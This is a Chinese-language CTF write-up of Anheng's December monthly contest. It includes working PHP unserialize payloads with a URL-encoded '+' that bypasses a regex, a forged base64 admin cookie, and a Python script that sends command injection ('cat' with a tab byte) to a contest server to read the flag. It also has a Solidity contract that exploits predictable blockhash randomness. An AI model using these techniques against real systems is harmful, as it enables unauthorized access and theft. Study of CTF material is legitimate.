安恆X計劃12月月賽
ezweb
主要是序列化問題。沒有PHP環境,線上執行的。例項化物件之後修改一下file。然後echo輸出序列化的結果。不過下面有一個正則檢查。數字前加一個+,影響了正則的匹配,但是對於序列化的還原沒有影響。直接寫+不生效,於是對+進行URL編碼,就繞過了。
<?php class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } $flag = new baby(); $flag->file = "index.php"; $flag = serialize($flag); echo $flag; echo unserialize($flag) ?>
拿到一個'O:4:"baby":1:{s:4:"file";s:9:"index.php";}'。在加入+號處理一下,直接不生效,需要URL編碼'O:%2b4:"baby":1:{s:4:"file";s:9:"index.php";}'。
然後不小心爆出來了程式碼執行網站的目錄。
ezweb2
瀏覽了一會,不知道網站哪有問題,最後看到cookie裡有一個user變數。此處必有蹊蹺。拉出來用base64解了一下,看到一個普通的使用者的字串。然後掃到一個admin.php,提示我不是管理員。兩者就對上了,改cookie重新重新整理user=YWRtaW4=%3D%3D
。看到了後臺,輸入一個密碼試試吧。結果發現post出去的表單,輸入的內容在cmd
最後的flag在根目錄下。
import requests #fuzz時使用這個迴圈,註釋下一迴圈。 #for i in range(1,128): for i in range(9,10): url = "http://101.71.29.5:10000/admin.php" payload = {'cmd':'cat' + chr(i) + '/ffLAG_404'} headers = { 'origin': "http://101.71.29.5:10000", 'upgrade-insecure-requests': "1", 'content-type': "application/x-www-form-urlencoded", 'user-agent': "Mozilla/7.0 (Windows NT 11; Win64; x64) AppleWebKit/539.36 (KHTML, like Gecko) Chrome/76.0.3538.67 Safari/539.36", 'accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", 'referer': "http://101.71.29.5:10000/admin.php", 'accept-encoding': "gzip, deflate", 'accept-language': "zh-CN,zh;q=0.9", 'cookie': "PHPSESSID=155tke89leol6648g64rrd2p20; user=YWRtaW4=%3D%3D", 'cache-control': "no-cache" } response = requests.request("POST", url, data=payload, headers=headers) #print(i,chr(i)) #print(len(response.text)) print(response.text)
misc1
為做題還要涉及早期被公開的洩露資料,這是在教人學壞。拿python處理這些資料的時候換行沒處理對,所以跑字典的時候出了問題,沒成功解開。
安恆的運營挺有意思的,求生欲很強,為了給公眾號使用者保活,自己的比賽平臺不用,非要在公眾號上放hint。
misc2 簽到
關注一個公眾號,文字遊戲。
misc3
壓縮包破解。同級目錄下有一個壓縮包內含的檔案,明顯的明文攻擊。這種題就很煩。偏偏安恆很喜歡出。之前參加他們的比賽,給的一個壓縮包,只有7z沒毛病,其他都解不出來。這次這個需要winrar壓縮,如果你的明文攻擊大於10分鐘,那麼就停下來,重新制作壓縮包或者換不同的版本。很煩。因為壓縮本來就是有損的,所以究竟會不會出問題,真的不好判斷。最後解出來的文件有一個高考祕籍——53,要位移一下這個圖。
我覺得下次可以出一個這樣的腦洞,放一個3D的模型,移開沒有,在遮擋物的背面貼著或者穿模進去才能看到。
misc4
png圖片先改畫素看一下再去看有沒有隱寫。高度拉長一看就有字串,末尾大於兩個等號,應該是base32,解出來再拿括號裡的內容再做一個MD5雜湊。
區塊鏈
都說了是賭幣,協議也給了。有點坑的是,直接批量不產生效果,手動了20次才收到郵件。
pragma solidity ^0.4.23;
interface BetInterFace{
function flip(bool _guess) public returns (bool success);
}
contract GetFlag{
address betAddress = 0x2F99655A6dDfd3e13561Acf2c1c724385BB6A80E;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
}
function start2() public {
bool isTrue=getResult();
bet2(isTrue);
}
function getResult() private view returns(bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
function bet2(bool result) private{
bytes4 methodId = bytes4(keccak256("flip(bool)"));
if(result){
betAddress.call(methodId,uint256(1));
}else{
betAddress.call(methodId,uint256(0));
}
}
}